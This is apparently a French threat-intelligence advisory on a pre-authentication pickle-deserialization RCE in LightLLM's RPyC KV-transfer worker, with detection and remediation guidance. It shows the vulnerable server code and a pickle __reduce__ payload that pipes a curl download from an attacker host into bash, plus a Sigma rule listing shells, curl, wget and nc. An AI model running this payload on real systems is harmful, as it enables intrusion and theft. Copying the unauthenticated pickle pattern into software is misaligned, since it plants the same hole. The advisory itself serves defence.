Aller au contenu

CVE-2026-96560 : exécution de code à distance pré-authentification dans ModelTC LightLLM

Densité :
HERMES

SCORE DE MENACE HERMES & EXPOSITION DES CLUSTERS D'INFERENCE GPU

Cible : ModelTC LightLLM - Worker KV-Transfer (Canal de Contrôle RPyC)
Confiance : 99%
95 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 18 / 20
Militarisation 19 / 20
Exposition 19 / 20
Prévalence 18 / 20
Impact 20 / 20
Maturité de l'exploit 19 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le standard CVSS v3.1 attribue un score de 9.8 (Critique). Le score de menace opérationnel Hermes (HTS) confirme cette criticité avec 95 (CRITIQUE). LightLLM est un moteur d'inférence distribué à haut débit déployé sur des clusters d'IA d'entreprise. Lorsque le mode de désagrégation préfill-décodage (--pd_trans_mode nccl) est activé, le worker de transfert KV expose un serveur RPC RPyC non authentifié. Comme RPyC utilise le module natif Python pickle sans contrôle cryptographique ni authentification, un attaquant réseau adjacent ou un conteneur sidecar compromis peut exécuter du code système arbitraire avec les privilèges du démon d'inférence, voler les données de la mémoire VRAM GPU et siphonner les modèles d'IA propriétaires.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-96560: ModelTC LightLLM Insecure Pickle Deserialization to Pre-Auth Remote Code ExecutionVULNÉRABILITÉ

Nœuds connectés : 2
Relations sortantes actives
→ affectsCOMPOSANTLightLLM Serving Framework
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in LightLLM Serving Framework documented in Hermes dossier.”

Preuves vérifiées associées :
Associations entrantes
CHAIN-2026-PEOPLESOFT-GATEWAYEXPLOIT CHAIN → uses → [Cette entité]
96% VERY_HIGH

ModelTC LightLLM est un moteur d’inférence distribué open source hautement optimisé pour les modèles de langage de dernière génération (Llama, DeepSeek, Qwen, Mistral).

ParamètreSpécification TechniqueImpact Opérationnel
Identifiant CVECVE-2026-96560Référence internationale de suivi des vulnérabilités
Framework affectéModelTC LightLLMMoteur d’inférence distribuée haute performance
Composant vulnérableWorker KV-Transfer (Plan de Contrôle RPyC)Synchronisation inter-nœuds des tensors KV
Versions affectées<= 1.2.0Nœuds démarrés avec --pd_trans_mode nccl
Type de failleCWE-502 : Insecure DeserializationExécution de code arbitraire non authentifiée
Vecteur d’attaqueRéseau (Maillage interne / Exposition VPC)Appel RPC malveillant sur le port RPyC
Version correctiveVersion 1.2.1Protocole sécurisé sans pickle & authentification TLS

Architecture de désagrégation prefill-decode & exposition RPyC

Section intitulée « Architecture de désagrégation prefill-decode & exposition RPyC »

Dans les architectures d’inférence traditionnelles, la phase de lecture du prompt et celle de génération des tokens se partagent la même mémoire VRAM. La désagrégation Prefill-Decode (PD) résout cette contention en dédiant des pools de GPU distincts :

┌──────────────────┐ ┌──────────────────┐
│ WORKER PREFILL │ │ WORKER DECODE │
│ (Calcul Intensif)│ │ (Bande Passante) │
└────────┬─────────┘ └────────▲─────────┘
│ │
│ 1. Calcul du KV-Cache Prompt │
│ 2. Coordination via RPyC ─────┼──────────┐
▼ │ ▼
┌───────────────────────────────────────────┴┐ ┌───────────────────────────┐
│ INTERCONNEXION NCCL TRÈS HAUT DÉBIT │ │ REVERSE SHELL ATTAQUANT │
│ Transfert Direct GPU à GPU de Tensors │ │ Accès Root à l'Hôte GPU │
└────────────────────────────────────────────┘ └───────────────────────────┘

Lorsque l’argument --pd_trans_mode nccl est activé, le worker LightLLM lance un écouteur :

# Modèle vulnérable dans le worker KV-Transfer de LightLLM (<= 1.2.0)
from rpyc.utils.server import ThreadedServer
import pickle
class KVTransferService(rpyc.Service):
def exposed_sync_kv_metadata(self, raw_metadata_bytes):
# FAILLE CRITIQUE : Désérialisation brute via pickle sans filtre
metadata = pickle.loads(raw_metadata_bytes)
return self._process_transfer(metadata)
def start_kv_worker(port=18888):
server = ThreadedServer(
KVTransferService,
port=port,
protocol_config={"allow_all_attrs": True} # Configuration RPyC permissive
)
server.start()

En Python, la bibliothèque pickle permet de reconstruire n’importe quelle arborescence d’objets en invoquant la méthode magique __reduce__(). Si une entrée non vérifiée est transmise à pickle.loads(), le moteur exécute la fonction spécifiée lors de la reconstruction :

# Payload d'exploitation
import pickle
import os
class ExploitPayload(object):
def __reduce__(self):
# Exécution de commande système arbitraire lors de pickle.loads()
cmd = "curl -s http://attacker-c2.internal/stage2.sh | bash"
return (os.system, (cmd,))
serialized_payload = pickle.dumps(ExploitPayload())

Faute d’authentification ou de signature cryptographique (HMAC), toute entité réseau capable d’adresser des paquets au port du worker KV provoque l’exécution instantanée de commandes arbitraires.


  1. Extraction de la VRAM GPU et du KV-cache : en exécutant du code sur l’hôte d’inférence, l’attaquant accède directement à l’espace mémoire unifié NVIDIA CUDA via /dev/nvidia*. Cela lui permet d’intercepter les requêtes privées des utilisateurs, les documents internes injectés via les architectures RAG et les instructions système sensibles de multiples sessions clientes.
  2. Vol des poids du modèle : l’attaquant peut lire le stockage NVMe local (checkpoints HuggingFace, fichiers Safetensors) et exfiltrer les modèles affinés (fine-tuned) propriétaires de l’entreprise.
  3. Mouvement latéral vers l’orchestrateur agentique : les nœuds GPU disposent souvent de comptes de service Kubernetes dotés de permissions étendues vers les bases vectorielles, les gestionnaires de secrets et les API cloud.
  4. Empoisonnement silencieux des réponses : l’attaquant peut altérer les tensors en mémoire VRAM pour biaiser les déductions des agents IA autonomes ou forcer l’invocation d’outils malveillants (Tool Call Hijacking).

title: ModelTC LightLLM Insecure Deserialization RCE
id: cve-2026-96560-lightllm-rpyc-rce
status: experimental
description: Détecte les connexions suspectes vers les ports RPyC de LightLLM suivies d'une création anormale de processus fils par le démon d'inférence Python.
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-96560
- https://github.com/ModelTC/lightllm
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.006
logsource:
category: process_creation
product: linux
detection:
parent_process:
Image|endswith:
- '/python'
- '/python3'
CommandLine|contains:
- 'lightllm'
- '--pd_trans_mode'
- 'nccl'
suspicious_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/nc'
- '/usr/bin/python'
condition: parent_process and suspicious_child
level: critical

  1. Mise à niveau vers LightLLM 1.2.1 : Appliquer sans délai la version corrective officielle qui remplace la sérialisation pickle par un encodage strict et impose une négociation TLS mutuelle :

    Fenêtre de terminal
    pip install --upgrade lightllm>=1.2.1
  2. Isolation réseau & politiques Kubernetes : Verrouiller l’accès aux ports de transfert KV (18888-18900) uniquement aux pods autorisés au sein du cluster :

    apiVersion: networking.k8s.io/v1
    kind: NetworkPolicy
    metadata:
    name: isolate-lightllm-kv-transfer
    namespace: ai-inference
    spec:
    podSelector:
    matchLabels:
    app: lightllm-worker
    ingress:
    - from:
    - podSelector:
    matchLabels:
    app: lightllm-prefill
    ports:
    - protocol: TCP
    port: 18888
  3. Exécution non privilégiée des conteneurs GPU : Interdire l’exécution en tant que root (securityContext.runAsNonRoot: true) et révoquer toutes les capacités Linux non indispensables.


CE QUE HERMES IGNORE (CVE-2026-96560) Principe P3 — Rigueur épistémique
  • ✕ Nombre exact d'instances exposées publiquement sur Internet : les ports RPyC sont censés demeurer privés, mais de fréquentes erreurs de routage Kubernetes ou d'utilisation du mode hostNetwork exposent ces nœuds aux scanners publics (Shodan/Censys).
  • ✕ Exploitation active par des acteurs étatiques ou affiliés : bien que des codes de validation circulent sur des canaux techniques privés, la télémétrie n'a pas encore enregistré de campagne de scannage opportuniste de masse à grande échelle.
  • ✕ Persistance bas niveau dans le firmware GPU : la possibilité qu'un code shell exécuté via pickle installe un implant persistant dans le VBIOS ou le micrologiciel de la carte GPU n'est pas expérimentalement confirmée à ce jour.